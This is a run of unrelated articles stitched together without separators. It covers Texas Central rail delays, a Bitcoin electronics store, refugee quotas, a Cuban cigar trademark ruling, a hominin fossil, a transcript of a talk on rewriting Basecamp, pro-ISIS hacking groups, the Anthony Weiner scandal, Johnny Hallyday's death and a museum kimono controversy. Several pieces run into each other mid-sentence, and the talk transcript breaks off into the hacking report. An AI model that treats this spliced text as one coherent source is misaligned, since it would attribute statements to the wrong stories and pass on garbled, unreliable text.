The project has been in the works since 2010, celebrated by people in the cities who want the convenience of the train and decried by people in the places in between who don't want the railroad running on their land, as we chronicled in our 2015 cover story, "On the Line". Back in 2015, the plan was that construction was due to begin this year and the bullet train would start up in 2021.
Then, a couple of months ago, at the same time that Texas Central got a new CEO and reshuffled its leadership, the company website was altered to say that the bullet train would start running in 2022, as we then noted.
Now Texas Central won't break ground and begin construction on the project until 2018, the line won't run at all until 2023 and it won't be fully operational until 2024, Hunter told the audience according to the HBJ.
A Texas Central representative blamed the newest delay on various factors that are outside of the company's control, particularly federal regulators. "When these processes are complete, the timelines will become more solidified," the spokesperson told the HBJ. "Until then, timelines represent the best estimates for milestones, many of which the company doesn’t control.”
However, a previous statement from the company statement also notes Texas Central is still waiting on the environmental impact statement from the Federal Railroad Administration.
Anyway, no matter who is to blame — or who is getting the blame — the end result is the same: Texas Central definitely (probably, maybe, most likely) has plans to build a Houston-to-Dallas high-speed rail line.
Eventually.
Correction, 4:22 p.m.: An earlier version of this story misspelled the name of Marvalette Hunter and has been updated to include her job title. The article also incorrectly stated that Texas Central Partners was only waiting on an environmental impact study from the FRA.The virtual currency known as Bitcoin (BTC) made dramatic strides toward greater legitimacy Thursday, reaching a record high valuation against the dollar.
The high point coincided with the launch of bitcoinstore.com, an electronics retail outlet that only accepts Bitcoins as payment. Bitcoinstore.com stands out among potential competitors because the site's investors have only one goal – to urge major online retailers to start accepting Bitcoin.
"The idea behind the site entirely is to force Amazon and Newegg to accept Bitcoin by saying 'Hey, look at our prices, we beat you, now beat us,'" said bitcoinstore.com head of marketing Jon Holmquist.
To do that, bitcoinstore.com sells its products at 0 percent markup.
More from GlobalPost: What in the world wide web is a Bitcoin?
For example, the popular and expensive graphics card EVGA GeForce GTX 670 with 2 GB of GDDR5 SDRAM sells on Amazon for $531.76. On bitcoinstore.com, the same graphics card retails for 11.01 BTC, the equivalent of $367.22.
Just by using Bitcoins instead of dollars, a consumer would stand to save $164.54 on the graphics card.
Bitcoin backers hope that similar competitive pricing scenarios will be enough to convince the average consumer to try Bitcoins.
"With bitcoinstore, we have a site that actually has enough savings for users to be motivated in learning how to use Bitcoin," said Holmquist.
While retailers are trying to convince consumers to start using Bitcoin, investors are also beginning to get behind the virtual currency.
More from GlobalPost: Silk Road: Can an eBay for meth, smack and pot prevail?
Seattle-based startup Coinlab recently made an agreement with Mt.Gox, the world’s largest Bitcoin exchange, to handle its US and Canada operations. Coinland has also partnered with Silicon Valley Bank and received half a million dollars in venture capitalist funding.
“There are two major difficulties Bitcoin exchange customers have traditionally faced: banking troubles for the underlying exchange, and security of their coins. Since we believe in Bitcoin, we'd like to solve these problems,” wrote Coinlab CEO Peter Vessenes in a blog post.
However, confidence in the stability of the virtual currency may be limited. In June of 2011, the currency was trading at a value of $31.90 before the currency collapsed the same day, causing the value to bottom out at $2.
Since the collapse, Bitcoin has been slowly earning the confidence of web-based companies like Wordpress and Reddit who now accept Bitcoin as payment for premium services.
More from GlobalPost: Nokia targets developing world with cheap, simple phones
This time, the currency's value is continuing its steady climb. Should sites like bitcoinstore.com succeed in instilling consumer confidence in the currency and increasing its popularity, another crash may be avoidable.Christopher Jordan "CJ" Wallace Jr., the 14-year-old son of the late great Notorious B.I.G. is set to appear in Everything Must Go starring Will Ferrell. The comedy/drama tells the story of Nick Halsey (Ferrell), a relapsing alcoholic who loses his job, wife and home all in one day. Forced to sell his possessions, which have been strewn about the front yard by his wife before she changed the door locks and disappeared, Halsey turns to his kid neighbor Kenny Loftus (Wallace Jr.) for help.
This isn't the young actor's first foray into acting. In 2009, he played a grade school version of his father in the biopic Notorious as well as a part in the video for Biggie's "Sky's the Limit" created after the Brooklyn rapper's death in 1997.
"CJ was 3 and a half months when Christopher died," Voletta Wallace, CJ’s grandmother, told MTV News. “We watched his father's work. We talked about it. Of course, I discussed his father a lot. He saw his father's pictures a lot. I talked. The love is there. There's no question asked."
The movie, first premiered in last September's Toronto International Film Festival, will be in select theaters May 13.The Department of State quietly decided Thursday to drop a rule limiting the number of refugees allowed into the United States.
Although the Trump administration has notably opposed an increase in the influx of refugees, the State Department moved in full opposition to his plans while he is out of the country, The New York Times reports.
Refugee advocates say that the number of refugees streaming in could move from 830 per week to 1,500 per week by June as a result of the State Department’s Thursday decision, which was sent out by email to various organizations around the world that assist refugees in completing paperwork to enter the U.S.
According to the email, organizations will now be able to bring people in “unconstrained by the weekly quotas that were in place.”
The reason for the quotas in the first place was largely for fiscal reasons. The State Department had limited funding, and thus could only bring in so many refugees. But now that Congress has passed a bill funding the government for 2017, the State Department is less constrained, as the bill itself did not mandate any refugee caps.
A spokeswoman told The New York Times that the State Department adjusted the quotas after speaking with the Department of Justice.
At this point in fiscal year 2017, 45,732 refugees have been admitted into the U.S. President Donald Trump wants a maximum of 50,000 a year, but it does not seem as though he’ll achieve his goal if present trends continue.
Trump’s initial executive order to suspend all refugee admissions for four months has been caught up in the judicial system, with federal judges staying the order. But despite the repeated stays, the number of refugees dropped significantly, which meant that the amount of funding allocated to resettlement organizations also dropped in concert. As such, Church World Service fired 50 percent of its staff in March, and World Relief has laid off more than 140 of its U.S. employees.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] GF GTX 1070 Turbo 8GB GDDR5 PCI-E Video Card Home :: Audio & Video Devices :: Video Products :: PCI-E Video Cards :: - select - Desktop PCI-E Video Cards Workstation PCI-E Video Cards
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• Case Summary: The TTAB rejects a motion to dismiss for lack of standing a petition by Cuban cigar makers to cancel a trademark registration by a Dominican cigar company.
• Key Takeaway: Even under the strictures of the Cuban embargo, a Cuban company might have standing to seek cancellation of a U.S. registered trademark.
Despite the Cuban embargo, a Cuban entity might have standing to petition the Patent and Trademark Office for cancellation of a trademark registration, particularly when alleging that the registration is geographically deceptively misdescriptive, the Trademark Trial and Appeal Board ruled Aug. 1 (Corporacion Habanos S.A. v. Rodriguez, T.T.A.B., No. 92052146, 8/1/11).
Denying a motion to dismiss for lack of standing, the court also noted the Cuban cigar maker's assertion of use of the relevant term internationally as well as in advertisements in U.S. publications.
Dominican Cigar Maker Registers Term With PTO
In 2008 Juan E. Rodriguez obtained a registration, listed on the secondary register, for the term “Pinar del Río” for cigars made in the Dominican Republic. Corporacion Habanos S.A. d/b/a Habanos S.A. and Empresa Cubana del Tabaco d/b/a Cubatabaco are Cuba-based cigar companies. In 2003, Cubatabaco obtained a registration for Pinar del Río under the Lisbon Agreement for the Protection of Appellations of Origin and Their International Registration of 1958.
In 2010 the U.S. Department of the Treasury's Office of Foreign Assets Control issued a license to Cubatabaco to petition for cancellation of Rodriguez's registration.
Habanos and Cubatabaco then petitioned to cancel the Pinar del Río mark, based on the argument that the registration was fraudulent, that the mark was deceptive under 17 U.S.C. §1052(a), and that it was primarily geographically deceptively misdescriptive under 17 U.S.C. §1052(e)(3). Additionally, Habano asserted that the mark was a geographical indicator under Articles 23-28 of the Pan-American General Inter-American Convention for Trade Mark and Commercial Protection of 1929 and thus should be cancelled under 17 U.S.C. §§1126(b) and (h).
Cubatabaco alleged that term Pinar del Río indicates that the goods in question originate from the Cuban province of Pinar del Río
Rodriguez moved to dismiss for lack of standing.
Petitioner Need Not Be Seeking Registration
In a per curiam decision, the TTAB rejected Rodriguez's argument that under Empresa Cubana del Tabaco v. Culbro Corp., 478 F. Supp. 2d 513 (S.D.N.Y. 2007), Cubatabaco could not have standing to seek cancellation of the registration unless Cubatabaco itself was trying to register a mark that was likely to be confused with the registered mark.
The board distinguished the facts in Culbro. The board said:
At issue in the Culbro line of cases was whether acquiring a priority right under Trademark Act Section 43(a), through advertising in the United States, where the goods were available for purchase only outside the United States, amounted to the acquisition of a property interest under Trademark Act Section 43(a), and thus a transfer of property to the Cuban plaintiffs which had to be specifically licensed.
In contrast, the question of the establishment of a property interest was not at issue in the instant proceeding. The board also emphasized that the OFAC had specifically granted Cubatabaco a license to pursue its petition.
Next, the board ruled that the Cuban petitioners could have standing based on enforceable rights, even under the regime of the Cuban embargo. The board noted that Cubatabaco claimed use in commerce throughout the world and widespread dissemination of the assertion that its cigars were also made in Cuba.
Significantly, such promotional activity also spread to the United States through advertisements in publications. Furthermore, the board noted that Cubatabaco had asserted that it would be damaged by Rodriguez's registration of the term, a real interest for the purposes of standing.
The allegation that the registration was geographically misdescriptive also could be entertained absent any effort on Cubatabaco's part to obtain a registration itself. Indeed, the board said, Cubatabaco and Habanos “do not need to own a pending application for the mark, do not have to be using the term as a mark, or even use the term at all, in order to establish their standing.”
Cubatabaco's assertions under the relevant provisions of the Lanham Act were sufficient to avoid a motion to dismiss, the board said, emphasizing that such allegations of fact must still be supported by evidence at trial.
The TTAB panel comprised Administrative Trademark Judges T. Jeffrey Quinn, Lorelei Ritchie, and Frances Wolfson.
By Anandashankar Mazumdar
Opinion at http://pub.bna.com/ptcj/92052146Aug1.pdfThe famous "Lucy" specimen (Australopithecus afarensis) is one of the earliest known human ancestors to have had a comfortably humanlike upright stride. Her kind lived some 3.6 million to 2.9 million years ago. About a million years before her was "Ardi" (Ardipithecus ramidus), which had much more primitive feet, suggesting that although she might have been able to walk upright, she still was well adapted to life in the trees. So it came as quite a surprise last year when researchers described part of a fossil foot from 3.4 million years ago—close to Lucy’s age—that resembled the apelike foot of the much older Ardi.
I report on the latest thinking about what Ardi, the mysterious new fossil foot and other finds mean for understanding human origins in the February issue of Scientific American. In the video below Yohannes Haile-Selassie, of the Cleveland Museum of Natural History, who led the project and research effort to describe the new find, explains why the primitive foot was such a shock.What’s number one on Joel Spolsky’s list of ‘Things You Should Never Do’?
David Heinemeier Hansson disagrees.
In this talk, ‘Rewrite!‘ at Business of Software Conference USA 2015, David Heinemeier Hansson, Co-Founder, Basecamp, and Creator of Ruby on Rails explains why he disagrees and discusses his experience in rewriting the code for Basecamp, not once, but twice, with the third version of Basecamp launched this month.
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Transcript
Mark Littlewood: It’s very easy to create a billion dollar business. In fact our next speaker, who doesn’t really need an introduction, has created a hundred billion dollar business. [laugh] But that’s probably the least difficult of all the things he’s done. He invented Ruby on Rails. He cofounded Basecamp. And he is one of the people that James Snow talked about last year in from Contently in the Level Up thing, where he was talking about his racing driving. And let me welcome to the BOS stage David Heinemeier Hansson who’s going to be talking about Rewrite. [Applause]
David Heinemeier Hansson: Thanks for having me. I think that preamble is exactly why I’m here. And why I don’t go to a lot of conferences. Because a lot of conferences would have a thing saying unicorns are not the greatest thing ever. And wouldn’t stop themselves from gushing all about that unicorns are the greatest thing ever. And I’m in the other camp, let’s say that. I’m in the camp with Mark. I’m in the camp that there’s something far more interesting to work on than to try to join a three comma club.
But that’s not what I’m going to talk to you about today.
“Today I’m going to share a story about a piece of software that I’ve been working on for more than a decade in a variety of forms, and the story of transformation that piece of software has been through”
So, to set the stage for that story let me take you back to the dark days of 2003. The smoldering rubble of the dot com bust was still simmering, mobile was PalmPilot, and the iPod had just barely been released. And in those days we started working on BaseCamp. Software as a Service was still (I think) four years away from getting coined. And people were not used to paying for software on a subscription basis.
In fact, when we got started we didn’t even know what the hell we were doing, trying to charge people on a subscription basis. In fact, when we were building BaseCamp we originally built it with a yearly billing plan. We were going to charge people 450 bucks a year to use BaseCamp. We had it all built out – we had even a billing system for that and I think about three weeks before we were supposed to launch we went to the bank and said “Oh, we’d like a merchant account.” And they said “Oh, that’s great. What’s your business model?”
“Well, we’re going to charge people four hundred fifty bucks up front for a piece of software that they’re then gonna use over a year and then we’re going to charge it again”
And the bank said, “Ha…that’s funny. Umm…No. You’re not going to do that because if you charged them 450 bucks up front and you go out of business in two months, they’re going to come to us and they’re going to want a refund for the ten months that you weren’t there. So, you can’t do that.”
And we went, “Oh. Okay. Uhhh I guess we have three weeks left to launch and let’s do something else. So let’s say that we’re going to charge people fifty bucks a month instead and then build the billing system after we launch.”
So that’s what we did. But, figuring out how to charge for the software was sort of a small part of figuring out what to do with BaseCamp. A bigger part was to try to get people comfortable with the idea at all of using hosted software. Of using software over the internet for something more important than their email or their cat pictures or whatever else they were doing at the time.
And we were focusing really hard on this in the beginning because paying for software subscription was not a common thing in 2003. So we thought really hard about this, and thought about all the arguments we could summon and tricks that we could come up with for why this would be a great idea. And this is actually, this is the original website. This is how it launched in 2004 in February. This is what it looked like. And these were the things we were highlighting.
On the side, and highlighted even further here, Key Features of BaseCamp. It is web based and centrally hosted. Like, that’s a novel thing. That was a key feature of BaseCamp! Which today you’d say, like “Yeah, okay that’s software and people have been doing that for a long time”. Um, we had to highlight this. We had to sell this. We had to make the case that not having some IT person come and set up that Exchange server under your desk was an upgrade and that would lead to a better place for your company.
So, as we were selling the product like this and as we were selling basically the company like this, we sort of started to believe obviously that this was a good thing. That hosted software was a far better model than sending out CDs or whatever else have you. I remember shortly before starting working on Basecamp I had worked at another company where we had the Microsoft folder. I think you could buy a subscription, where they would send you a folder about this thick [gesturing with hands] with CDs of all the pieces of software. Oh, you’d have Exchange Server 2001 and you’d have all these other pieces of software right? So that was the common way of shipping and distributing software. Still, even though, of course, internet had been around for a long time, but people were comfortable having their own machines, within the confounds of their office and that was great.
Okay, so trying to convince people that this was great. As trying to sell software like this, that’s one aspect of it. That’s one aspect that’s informing what we’re doing. Another aspect is, at the time of BaseCamp, this whole Agile thing was really gaining traction. Obviously people had been talking about Agile for a while before we released BaseCamp, but it was sort of hitting its stride. We were figuring out that software, the metaphor for building that, maybe bridges was not the right one. Maybe the engineering principles and approaches to building infrastructure in the physical world was not exactly the same and did not lend as much to software development as previous generations of developers had thought.
So Agile comes out and says, “Umm, hey change – that’s not bad. Change is good. Adopting and responding to change in the positive way instead of in the negative way can actually help all of us.” Which was really funny to me, because I’d gone through a couple of projects that were not Agile, let’s say that. They were very waterfall. And that waterfall process usually went in the way, you’d come up with your spec and you’d say “Hey customers – this is what you want.” And the customer said, “Yeah yeah yeah, 300 pages – that describes exactly what I want to a T. Let me sign on the dotted line.” And so they did. And when they figured out that what they had signed was not what they wanted they went, “Hey! That’s not what I want.” And they went, “Let’s change that!”
And that’s when (I was working at a consultancy at the time) they went [rubbing hands greedily], “Yes, let’s change that. Here’s a change request.” And the customer, funnily enough, didn’t think that was that funny. So, I think that led to an atmosphere of developers hating change, right? We had made this grand design, we committed to this design, and the customer didn’t want it. Business people kind of wanted it, cause that’s a great way to make money, but it’s not a great way to have a good relationship with your customers.
It reminds me a little bit about the story of sort of going to the doctor. “Hey, Doctor, when I hit my knee with a hammer really hard it hurts! What should I do?” and the doctor goes, “Stop doing that,” right? Stop writing software like that. It hurts. That’s…It doesn’t have to hurt. And I think that that was the really positive message coming out of the Agile world at that time that…
“Software does not have to hurt. Change does not have to hurt, and we can figure it out together and it can be much better.”
Wonderful! I bought into that whole hog. I’d been through the other process, so finding this was incredible appealing. Okay, so now you have two factors. You have a factor of us trying to sell software as, “Hey, you don’t have to install it on your machine, you can have it on our servers. And why do you want it on our servers? Because we can change it and we can upgrade it and we can it better and you don’t have to do anything to get all those benefits. That is wonderful, isn’t it?” Oh yes.
So, we have the commercial side of it, we have the atmosphere, the positive atmosphere, and then, that’s the carrot, that’s Agile. And then we also have the stick. Joel Spolsky had a great article in 2000, where he was talking about the worst mistakes in software. And he was using the example of NetScape. And the example that NetScape chose to rewrite the Navigator. And that basically set them back four years, and that was the single worst strategic mistake that not only NetScape made, but that any company could make, right?
“Rewriting software: Terrible!”
Okay, atmosphere of change is good, we can continue to evolve software, as a positive model. Joel coming out saying, “Yeah, yeah, that’s fine. But should you, veer away from that? Should you ever try to rewrite your software? You’re gonna make the single worst strategic mistake you’ve ever made.” Basically he said, you’re going to kill your company if you |
nor did they demonstrate sophisticated targeting,” Alkhouri said in a statement.
Before the United Cyber Caliphate, pro-ISIS hackers were divided up into at least five distinct groups that launched their own campaigns, Flashpoint said. So far, pro-ISIS hacking groups have focused on government, banks, and media outlets as their targets, with publicity one of the main goals of the attacks.
"These attacks remain relatively novice-level and are mostly attacks of opportunity," Flashpoint said. "Such attacks include finding and exploiting vulnerabilities in websites owned by... small businesses, and defacing or DDoSing their websites."
The groups will likely continue to launch such attacks of opportunity in the near future, Flashpoint said in the report. But the group has had some success recruiting more sophisticated hackers, and "advanced targeting and exfiltration are not far-fetched if the group is able to recruit outside experts into its fold," the report said.
Groups concerned about ISIS cyberattacks should look for the hacking groups to use deep Web forums as a training ground for ISIS followers with low-level hacking abilities to improve their skills, Flashpoint said.
Expect ISIS hackers to download hacking tools from publicly available sources and use a combination of off-the-shelf and custom malware, Flashpoint added.Pierce Brosnan might have been the best Bond — even if he wasn't very pleased with his own performances — but he's certainly not the best at playing Bond. The actor appeared on The Tonight Show yesterday, whereupon host Jimmy Fallon took the chance to play Nintendo 64 video game GoldenEye 007 against the star of the movie GoldenEye. Sadly, Brosnan wasn't on his filmic form, spending all of the bout slapping at thin air while Fallon pumped him full of lead. To be fair to the actor, he has an excuse — the "power weapons" armament set is for scrubs. With Licence to Kill mode engaged and pistols only, it could have been a different story.
Fallon also missed the chance to ask Brosnan the question many GoldenEye players have been wondering for years: what exactly was happening to his mouth on the front of the game's box?Washington (CNN) -- Democratic leaders in Congress turned their backs Tuesday on embattled Rep. Anthony Weiner a day after the New York Democrat admitted to improper sexually-tinged communications with women and lying about it.
"I wish there was some way I could defend him, but I can't," Senate Majority Leader Harry Reid, D-Nevada, told reporters. Asked what he would say if Weiner sought advice, Reid smiled and responded: "I'd tell him to call someone else."
House Minority Leader Nancy Pelosi, D-California, who called for an ethics investigation Monday, released a letter Tuesday that detailed her formal request for the inquiry. Weiner publicly apologized Monday for sending flirtatious messages on Facebook and Twitter with six women over the past three years and then denying it for a week.
Weiner has said he would "welcome and fully cooperate" with the probe. However, a senior Democratic aide said Pelosi's letter was not required, and her releasing it was more of a political move.
"This certainly adds pressure for him to go," said the senior Democratic aide, who spoke on condition of not being identified.
The public disrespect by his own party leaders bodes poorly for Weiner in the aftermath of a scandal that first surfaced over the Memorial Day weekend. Weiner said Tuesday he would not step down, but that didn't stop House Majority Leader Eric Cantor, R-Virginia, from calling for his resignation.
Cantor told reporters that with all the challenges facing the country, "the last thing we need is to be immersed in discussion about Congressman Weiner and his Twitter activities," according to Cantor spokesman Brad Dayspring.
Asked if Weiner should resign, Cantor said that was up to the congressman and his constituents, but added: "I certainly don't condone his activity and I think he should resign," according to Dayspring.
An ally from the Republican side of the aisle, Rep. Jason Chaffetz of Utah, said Weiner will "have to look at himself to make that decision," but that Weiner's trustworthiness is spent.
Asked by CNN's Elliot Spitzer Tuesday on "In the Arena" what advice he would have for Weiner, as a friend, Chaffetz replied: "I don't see any option but to step down."
Chaffetz elaborated: "I like the guy. I've gotten along with him. I've sponsored bills with him, I've done fun things on television and what not with him. But there comes a point where you just have to say, 'I'm sorry, but there is also some consequence to this.' This is about the trust that he has -- with the American people and specifically the people in New York, but I just don't see how you can go on from this."
Pelosi's letter to the top Republican and Democrat on the House ethics panel noted that Weiner had "disclosed conduct which he described as inappropriate."
"An investigation by the Ethics Committee to determine whether the Rules of the House of Representatives have been violated is warranted," Pelosi said in the letter.
As pressure built for some indication about the Ethics Committee's intentions, the panel's Republican chairman and ranking Democratic member issued a statement Tuesday night underscoring -- without mentioning Weiner -- their duty to impartiality and confidentiality:
"If and when an investigation is appropriate in any matter, the Committee will carry out its responsibilities pursuant to our rules and with the utmost integrity and fairness," said the statement from Reps. Jo Bonner, R-Alabama, and Linda Sanchez, D-California. "Pursuant to our rules of confidentiality, we will not have any further comment at this time."
The code of conduct for members of Congress calls for them to conduct themselves "at all times in a manner that shall reflect creditably on the House." Ethics experts say legislators are rarely if ever disciplined for violating that rule alone.
Using government technology such as telephones and computers for his sexting could be another story.
Weiner said Monday he used his personal BlackBerry and home computer, but added: "I don't have the knowledge of every last communication, but I don't believe that I used any government resources."
Even if he did, that doesn't automatically subject him to House discipline, said Stan Brand, a former House general counsel who has represented legislators before the ethics panel.
Members of Congress sometimes use official resources for nongovernment activities, Brand noted, adding that "the House has never taken a position or disciplined someone for that use."
Back in New York, those who will likely decide Weiner's political future debated whether the scandal will be his downfall. Some voters in Weiner's district said he should "never resign," while others called for his immediate ouster.
While Weiner -- first elected to Congress in 1998 -- has generally enjoyed strong backing in New York's 9th District, his confession Monday raised doubts about the man voted to Washington in seven straight elections.
Eva Slomobits, 82, a lifelong Democrat who campaigned for Weiner, said now, "I definitely won't vote for him, I think of him as a different person."
"He betrayed his wife," Slomobits added. "You have to think before you make a mistake."
A handwritten note posted outside Weiner's district office in Sheepshead Bay in Brooklyn, New York, said: "Resign, Pervert Weiner."
Others took the opposite position.
"Actually, I'm glad he's not resigning," Patrick Riley said. "What he does on his personal time is his business."
Jenny McCourt, a registered Republican who has lived in the district 40 years, said Weiner should "definitely not" resign.
"He's a human being," McCourt said. "He made a mistake."
"I think he's one of the most effective, decent congressman out there," said Brooklyn native Richard Elliott. Weiner's behavior was "stupid," Elliott said, but not something to resign over.
He also said, "I find it ridiculous that that would be the news" when so much else is going on in the world.
If Weiner were to resign or be compelled to leave office, New York Gov. Andrew Cuomo, also a Democrat, would determine the timing of a special election to replace him.
Whether or not he holds onto his congressional seat, many analysts believe he will pay a tremendous political price: losing his spot as a front-runner in New York's 2013 mayoral election.
New York Mayor Michael Bloomberg said Tuesday that the blanket media coverage of what some call Weinergate means voters are fully aware of what happened.
"They will have an opportunity to express themselves in one year and four months from now," Bloomberg said. "In the meantime, you know, I keep saying, this country has lots of very big problems that maybe we should all focus on and Congress should certainly get back to work and focus on."
Republicans have jumped on the situation, targeting Democrats who have accepted financial donations from Weiner over the years.
The National Republican Congressional Committee sent out news releases focusing on at least 18 districts across the country, asking whether Democratic lawmakers will "return embattled Congressman Weiner's tainted cash."
The news releases don't suggest Weiner collected money inappropriately, but they refer to him as "ethically troubled" and call on the lawmakers to return his money and "condemn Weiner's outrageous behavior."
By Tuesday afternoon, two House Democrats from competitive districts announced they were donating campaign contributions from Weiner to charity.
A spokesman for Rep. Betty Sutton, D-Ohio, said she will make a $1,000 donation to local charities instead of keeping the campaign contribution from Weiner.
Minnesota Democratic Rep. Tim Walz also decided to give to charity the $3,000 he received from Weiner.
Weiner's admission Monday came a week after he claimed a hacker had posted a lewd photo to his Twitter account. Speaking at a news conference Monday, Weiner said he had carried on inappropriate relationships with several women he had met online.
Weiner said he is not planning on separating from his wife, Huma Abedin, a longtime aide to Secretary of State Hillary Clinton.
He said he took "full responsibility" for his actions -- both the relationships and for lying about sending the photo last month of his bulging underwear on his Twitter account.
"I'm deeply sorry for the pain this has caused my wife, and our family, my constituents, my friends, my supporters and my staff," he said, claiming he meant to send the photo as a direct message -- which is private -- as a "joke" and then "panicked" after he realized he had tweeted it, which anyone can see.
"I lied because I was ashamed at what I had done, and I didn't want to get caught," he said.
An emotional Weiner described his actions as "dumb," "destructive" and "deeply, deeply hurtful" -- both for his admitted cover-up and for repeatedly engaging in "inappropriate conversations conducted over Twitter, Facebook, e-mail and occasionally on the phone" with women he'd met online, mostly via Facebook.
The congressman claimed that he never met any of the women in person, and that his wife learned he'd been lying about the Twitter picture on Monday morning.
The admission came hours after more images were published on BigGovernment.com, a conservative website run by Andrew Breitbart, that apparently show Weiner shirtless.
Breitbart's website was the first to publish an incriminating photo, sent May 27 via Twitter from Weiner's account, of a man in his underwear.
Weiner initially released written statements claiming that he was the victim of a hacker and a prank. Then, during a testy press conference, he dodged questions about whether the photo was of him and why he hadn't asked law enforcement to investigate if his account had been compromised.
He later told a series of interviewers he could not say with "certitude" if the underwear photograph was of him. He also said he had hired an attorney at the firm of Baker Hostetler to look into the matter.
The woman who received the Twitter photo in late May, Gennette Cordova, denied on her own account that she was one of the women with whom Weiner admitted having an "inappropriate relationship."
ABC News reports that Meagan Broussard, a 26-year-old single mother from Texas, provided them with dozens of photos, e-mails, Facebook messages and cell phone call logs related to her online relationship with Weiner.
In a posting on BigGovernment.com, Broussard said she was a U.S. Army veteran and full-time college student who, on April 20, went to Weiner's Facebook page and commented that the congressman was "hot" on one of his videos.
She said the two began corresponding "within an hour," adding that she didn't know if he is a "horrible person" but decided to speak out after hearing he'd "hired an investigative firm to go through all of his files."
Many Democrats first rallied around the liberal congressman. But as the questions persisted and Weiner's response became more unconvincing, some began to call for him to come clean.
CNN's Alan Silverleib, Tom Cohen, Dana Bash, Deirdre Walsh, Mary Snow, Meghan Rafferty, Josh Levs and Kate Bolduan contributed to this story.Née le 15 juin 1943, la superstar de la variété et du rock français vient de s'éteindre à 74 ans. Il avait révélé au printemps dernier être atteint d'un cancer du poumon, qui l'a finalement emporté. Depuis quelques semaines, son état de santé donnait des signes alarmants de dégradation. Visiblement fatigué pendant la tournée des Vieilles Canailles, en juin et juillet derniers, pendant laquelle il s'est produit le plus souvent assis, il avait été hospitalisé quelques jours après le dernier concert.
Suivez notre direct sur les hommages à Johnny
À l'automne, il avait subi une opération de la hanche, qui, provisoirement, lui permit de remarcher et calmer ses lancinantes douleurs au dos. Mais le sévère traitement par chimiothérapie qu'il subissait n'a pas donné les effets escomptés. À la fin du mois d'octobre, devant l'absence de résultats probants, ses médecins – au premier rang desquels le professeur David Khayat – l'ont soumis à un autre protocole médicamenteux. Qui n'a pu enrayer la maladie.
Dans la nuit du dimanche 12 au lundi 13 novembre, victime d'une insuffisance respiratoire, dans sa maison de Marnes-la-Coquette, il a été transporté d'urgence à la clinique Bizet dans le 16e arrondissement de Paris. Placé sous respiration artificielle, il y a subi une batterie d'examens qui confirmaient l'inexorable progression de la maladie. C'est de son lit d'hôpital qu'il a assisté à la sortie, vendredi 17 novembre, de On a tous quelque chose de Johnny, l'album de reprises de ses plus grands tubes par la jeune garde de la chanson française comme Benjamin Biolay, Amel Bent ou Nolwenn Leroy. En fin de semaine, Eddy Mitchell, ses enfants et Nathalie Baye, son ex-femme, et quelques autres amis du couple Hallyday se sont succédé à son chevet. Tous apprirent à cet instant de la bouche de Læticia que « la guerre était perdue ». L'idole n'avait plus que quelques jours à vivre. Samedi 18 novembre, une ambulance a ramené le chanteur à son domicile de Marnes-la-Coquette où sa chambre avait été préalablement médicalisée. Son épouse confiait à leurs proches qu'elle espérait fêter Noël avec son mari. Mais le sort en aura décidé autrement. Depuis l'annonce du décès, les hommages se succèdent.This piece has been updated, click here to view it.
The Museum of Fine Arts, Boston has found itself mired in controversy over an in-gallery program responding to Claude Monet’s La Japonaise, a portrait of the artist’s wife Camille clad in a kimono and posing with a fan. Replicas of the red kimono are available during free hours on Wednesday evenings through July for visitors to try on in the gallery, providing the opportunity to “channel your inner Camille #Monet.”
Unsurprisingly, the educational program/PR stunt has been met with negative reactions. A Facebook post by the museum announcing the photo opportunity drew dozens of comments by users who found the idea “vilely racist” and an example of “cultural appropriation at its finest.” A demonstration group, Stand Against Yellow-Face @ the MFA, is organizing in-gallery protests each Wednesday evening, with demonstrators carrying signage calling out the museum and the participating public for uncritically upholding traditions that diminish non-Western cultures and people to the level of props and stereotypes.
The painting in question, a work from 1876, is a singular example of Orientalism, a tradition in Western art that broadly caricatures regions as disparate as North Africa and East Asia with the aim of cultivating a Romantic visual language around Western cultural imperialism. Japonisme, the particular subset of Orientalism that Monet’s canvas depicts, is a loose interpretation of Japanese culture by French aesthetes marked by ornamentation, hyper-femininity and a sense of escapism bordering on pure fantasy. In La Japonaise the artificiality of the genre is underscored by the blonde wig Camille donned when posing for the painting in order to emphasize her whiteness, contrasting her body to the Otherness of her garments and surroundings.
Following the initial outcry, the museum produced a one-page handout responding to visitors’ concerns. Leading with an explanation of the Japanese origins of the replica kimonos (made for an exhibition on Orientalism in Western art at the MFA’s satellite museum in Nagoya), and the significant visibility of Japanese art and culture in the museum’s current exhibition offerings, the statement flatly lays out the museum’s position on the matter: “We don’t think this is racist.” The text goes on to define Japonisme and explain the painting as a commentary on the fad rather than a product of it. An official public statement has not yet been made available elsewhere, and it seems likely the museum would prefer the conversation to remain in the galleries and on social media, where it will quietly fizzle out.
The museum’s didactic text for La Japonaise emphasizes Monet’s awareness of Orientalism, presenting the painting as an ironic comment rather than a symptom. But if the argument is that the artist, and by extension participants in the museum’s Kimono Wednesdays photo-op, are “in on the joke,” that cultural appropriation is acceptable so long as it is served with a dose of irony, we risk giving a pass to anyone clever enough to winkingly acknowledge their prejudices while freely exercising them. This pervasive cultural tendency is no less destructive for its disarming effect. Perhaps Monet’s intention was to critique his country’s voracious appetite for a fantasy-ideal of Japan, but that entire line of thinking is erased by the museum’s approach. At best it is an uncritical way of engaging viewers with the work, and in the case of this particular painting, it does more harm than good.
As an encyclopedic museum, the MFA is charged with housing and displaying a cultural history shaped by dynamics of power, oppression, subjugation and bloodshed, dynamics that were largely racially justified. The very narratives of Western art history are laced with racist ideologies that live on today, and a major responsibility of art historical institutions in the twenty-first century is to acknowledge that subtext and teach it through objects. We can enjoy the beauty of things, we can enjoy ourselves in museums, but we also need to recognize the deeper implications of the cultural material on view. I have no doubts that the museum’s curatorial staff understand this charge. But when the responsibilities of dissemination and connection-building are handed over to Communications and PR specialists, that higher responsibility is too easily dismissed.
With one of the best departments of Japanese art in the United States, a sister museum in Japan, and cultural programs that bring Japanese artists, scholars and performers to Boston regularly, it’s surprising and disappointing that the museum didn’t create a more culturally sensitive learning experience, perhaps by inviting someone with more qualification than their College Ambassadors to handle the kimonos and explain their significance to the public, an effort that could have elevated the project beyond an offensive game of dress-up. That an idea like this could slip past the better judgments of so many shows not only how massive an institution the MFA is, but also how significant, how carefully considered every choice must be when tasked with the education of the public.
With the movement towards popularized museum experiences as a strategy of accessibility, we can expect to see a trend continue, wherein an object with a complicated history and fraught implications for the present will be reduced to a thing of spectacle at the expense of meaningful dialogue. The MFA should absolutely be pointing visitors to La Japonaise, but they should be asking why the image appeals to popular sensibilities, rather than simply celebrating it. They should be asking what this fascination says about our past as well as our current cultural condition.
